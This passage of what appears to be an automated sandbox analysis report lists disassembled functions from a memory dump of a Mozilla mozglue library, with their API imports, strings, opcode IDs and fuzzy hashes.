Opcode Fuzzy Hash: a60dde505f64b2ed3569a86ee0e517503308c3d837cc7b2d4ca06120b8593afd
Instruction Fuzzy Hash: 1301B9B1A04108BFDB04AB64DC4ADAF7BBCEF49254F110425FA05E3681E671A914CBE5

Function 6C959E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C959EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C959F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C959F34
LeaveCriticalSection.KERNEL32(?), ref: 6C95A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95A8B1, 6C95A8D4, 6C95A8EF

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction ID: 361de8262da4a1a5ccc7568351556a0a438fb5487a2037df965d7bd21acb75b7
Opcode Fuzzy Hash: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction Fuzzy Hash: C272AE72A157118FD304CF28C540225FBE1BF89328F69C7ADE8698B791D735E852CB94

Function 6C982C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C982C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C982C61

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C982C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C982E2D

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C982E3B
(root), xrefs: 6C98354F
expected a Time entry, xrefs: 6C982E36

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction ID: 99cafc7005019323bac3fe759111c6e3513fe1e11e933d7eb313ef17e49dd827
Opcode Fuzzy Hash: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction Fuzzy Hash: 0791CEB0609B408FC724CF24C49469FBBE4AFD9358F104D1DE99A8BB91EB30D949CB52

Function 6C95C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

0123456789abcdef, xrefs: 6C95C317
MOZ_CRASH(), xrefs: 6C95D4BB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction ID: 755f00d25bcb1e020554b9f278d9c0b0cdef09431bcdba629496b9c865c1fe0f
Opcode Fuzzy Hash: 87f3007a3f21a15659b67c7e6ffc9c5b393964c541e9aa2450ba776fdaaf8552
Instruction Fuzzy Hash: 765202316093418FD714CF28C59076AB7E6FB8A318FA4891DE8D687B81D735D866CB82

Function 6C999E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C999F3D
__aulldiv.LIBCMT ref: 6C999F77
__aullrem.LIBCMT ref: 6C999F8C
__aulldiv.LIBCMT ref: 6C99A023

Strings

-Infinity, xrefs: 6C999E60, 6C999E7B
NaN, xrefs: 6C999EAB

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction ID: 23c64d6bba40958825fe2a5ed3406e7c0cbf3124fa0fa7f08bd5627d084c03a4
Opcode Fuzzy Hash: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction Fuzzy Hash: 13C1B031E00319CFDB14CFA9C8507AEB7BAEB99304F194529D406ABB80DB71ED49CB91

Function 6C93D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C93D7DD
8, xrefs: 6C93DC08
1, xrefs: 6C93DBDD
0, xrefs: 6C93D852
@, xrefs: 6C93DAF6
, xrefs: 6C93DA88
0, xrefs: 6C93DC7F
9, xrefs: 6C93DE7F

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction ID: a3f63084d707268fb4c51eef44ef42c50fc555a2d36dd46b5bf943b0b05344dd
Opcode Fuzzy Hash: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction Fuzzy Hash: FA62E37252D3658FD701CE18C0A035EBBFAAF86318F186A4DE4D94BB91C335D985CB92

Function 6C949F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C94A100
0, xrefs: 6C94AB22
' , xrefs: 6C94A3D8
9, xrefs: 6C94A5D6
@, xrefs: 6C94A625
1, xrefs: 6C94A824

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction ID: fee37ec26d300f2bb73fefdb6fd2f65b01cd23ce4df9559da60dc575f2f64bb6
Opcode Fuzzy Hash: e01e6083b5c334a773d3d903ead23eb4e93048e4a31b766335b2c37fc9f99504
Instruction Fuzzy Hash: 6582DF359093118BD710CF09C49026EB7F6EB86759F65CA3EE8D547E90DB34E886CB82

Function 6C93BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C93C1CB
__aulldiv.LIBCMT ref: 6C93C24C
__aulldiv.LIBCMT ref: 6C93C348
__aullrem.LIBCMT ref: 6C93C365
__aulldiv.LIBCMT ref: 6C93C37D

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 035a9dbb3799f88b17e691d7aa9b9bf6d92ccc61d80e3115b4f3d7176bce0281
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 92322732B04A618FCB18DE2CC890666BBD6AFD9310F09876DE499CB395D734ED05CB91

Function 6C9A545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A8A4B

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d14bfdd842b906cb9aad05da8b05130c88aeb86b283c26762037a2facb8bce08
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 07B1D772A0061A8FDB14CFA8CC907A9B7F6FF95314F1902A9C549DB791D730D986CB90

Function 6C9A542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: fa2dfabdee32c04fbefed09ffb724677cdcdf9da794df16ac8303742ba269558
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FBB1D672E0011ACFDB14CF98CC806ADB7B6EF95314F150269C949EB795D731E98ACB90

Function 6C9A50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9A8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 67007219e1354b6ed2fbf08a3a29d1d14f3d20306d073b519c36d202caab0ffb
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: C6A1E672A001178FCB14CFA8CC807A9B7B6EF95314F1542B9C949EB785D731E98ACB90

Function 6C9877A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C987A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C987A93

Part of subcall function 6C955C50: GetTickCount64.KERNEL32 ref: 6C955D40
Part of subcall function 6C955C50: EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C955D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C987AA1

Part of subcall function 6C955C50: __aulldiv.LIBCMT ref: 6C955DB4
Part of subcall function 6C955C50: LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C955DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C987B31

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction ID: e0fd00b068a93ab4d028554bc4a64146007afc8bfe58b745b916da0a99aa24a1
Opcode Fuzzy Hash: 2fe385f539d94285398a8a08d0267253a96c29fe086c19a066cdd90c304e5a2c
Instruction Fuzzy Hash: 57B189357093808BCB14CE24C49069FB7E2BFD9718F654E1CE99567B91DB70E90ACB82

Function 6C976CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C976D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976E1E

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction ID: c8503ad23c6130a3417bbbca85725a6315f0da4d54eda8c11bd721a338d81d77
Opcode Fuzzy Hash: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction Fuzzy Hash: 73A18E706193808FDB25CF24C4907AEFBE6BF99308F55491DE88A87751DB70E948CB92

Function 6C99B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C99B720
RtlNtStatusToDosError.NTDLL ref: 6C99B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C96FE3F,00000000,00000000,?,?,00000000,?,6C96FE3F), ref: 6C99B760

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction ID: e8a93142ea8a16a046d022c93f35c109bc64ae1eec998ac2ae2401b707736469
Opcode Fuzzy Hash: 1f12acfb94d533b4c735f36d40838b9cd849d820175ceef42c94a917a144b9ae
Instruction Fuzzy Hash: 0BF0C2B0A0420CBEEF119AE1CC84BEF77BF9B18719F145229E511659C0D778D6CCC660

Function 6C954640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C954777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C955585, 6C9555A8, 6C9555C3, 6C955624

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction ID: 5879363d572d7bcc045e76c7c8f9990b536425f88c4387990c379f13da910890
Opcode Fuzzy Hash: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction Fuzzy Hash: 4AB28D71A057018FC708CF19C590715BBE6BFC5328F69C7ADE46A8B6A6D731E861CB80

Function 6C9985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C998C7C
__aulldiv.LIBCMT ref: 6C998DD7

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 95a7a17f50ff80a8046c5207491f85d1efb8739ec71ff9846c23253a1b5b0487
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E325C71F0111A8BDB1CCE9CC8A17BEB7B6FB88300F19852ED506BB790DA349D458B95

Function 6C99B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9403D4,?), ref: 6C99B955
NtQueryVirtualMemory.NTDLL ref: 6C99B9A5

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction ID: 434743d705a8ced4b89ba6a149d801241e9bd42fba7ce2c29f4a8dfaf72d65d8
Opcode Fuzzy Hash: ab07ebe36875d4652144a9afb1d665238746ebb81092a9274eeecc4cb20379ba
Instruction Fuzzy Hash: 2741B371E0121D9FDF14CFA9D890ADEB7B9EF88358F14812AE505A7B44DB34DC458B90

Function 6C975C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C944A63,?,?), ref: 6C975F06

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction ID: 5924fb14ec61a55e7ed2ca273a6bcca6c1f210d431c4e7d5f6b8bfc710cce66a
Opcode Fuzzy Hash: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction Fuzzy Hash: 74C1F275E022099BCB24CF95C5907EEBBF6FF89318F28415DD8556BB44D732A806CBA0

Function 6C93DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction ID: 9fe8dbd35f4fe48a67d19b78ad460aa05036bf3aec0ad5de4c14ae9365e36e54
Opcode Fuzzy Hash: 4c4a394557b5a844b382f6571caa81986bb60d39956fdec26122e5f90675339b
Instruction Fuzzy Hash: 5642A172A087518BD304CE3CC49175AB3E2BFC9364F199B2DE999A7790DB34DD418B82

Function 6C9A76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2828635670.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2828600741.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828726899.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828788899.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2828820157.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ca53c2b7399ee0ca465fb76aa116854f4419754f8dbf2f1e3d4a1f80840101c0
